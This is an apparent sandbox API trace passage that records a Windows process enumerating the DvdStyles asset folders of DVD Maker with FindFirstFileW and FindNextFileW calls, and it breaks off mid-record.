[0055.479] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.481] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.481] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0055.481] GetLastError () returned 0x12 [0055.482] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.482] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.482] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0055.482] GetLastError () returned 0x12 [0055.483] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.485] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.485] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0055.486] GetLastError () returned 0x12 [0055.486] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.487] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.487] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0055.487] GetLastError () returned 0x12 [0055.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.489] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.489] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0055.489] GetLastError () returned 0x12 [0055.489] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.490] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.490] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0055.490] GetLastError () returned 0x12 [0055.491] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0055.751] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.760] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0055.760] GetLastError () returned 0x12 [0055.760] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0055.848] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.849] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0055.849] GetLastError () returned 0x12 [0055.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0055.946] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.946] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0055.946] GetLastError () returned 0x12 [0055.946] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0055.947] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0056.267] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0056.279] GetLastError () returned 0x12 [0056.289] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0056.292] GetLastError () returned 0x12 [0056.303] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0056.307] GetLastError () returned 0x12 [0056.312] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0056.324] GetLastError () returned 0x12 [0056.325] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0056.334] GetLastError () returned 0x12 [0056.338] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0056.343] GetLastError () returned 0x12 [0056.350] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0056.358] GetLastError () returned 0x12 [0056.358] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0056.358] GetLastError () returned 0x12 [0056.358] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0056.358] GetLastError () returned 0x12 [0056.358] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0056.359] GetLastError () returned 0x12 [0056.359] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0056.359] GetLastError () returned 0x12 [0056.359] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1 [0056.359] GetLastError () returned 0x12 [0056.359] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x3820080 [0056.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0056.360] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.360] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0056.360] GetLastError () returned 0x12 [0056.360] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0056.360] GetLastError () returned 0x12 [0056.360] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0056.360] GetLastError () returned 0x12 [0056.361] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0056.361] GetLastError () returned 0x12 [0056.361] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0056.361] GetLastError () returned 0x12 [0056.361] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0056.361] GetLastError () returned 0x12 [0056.361] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0056.361] GetLastError () returned 0x12 [0056.361] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, 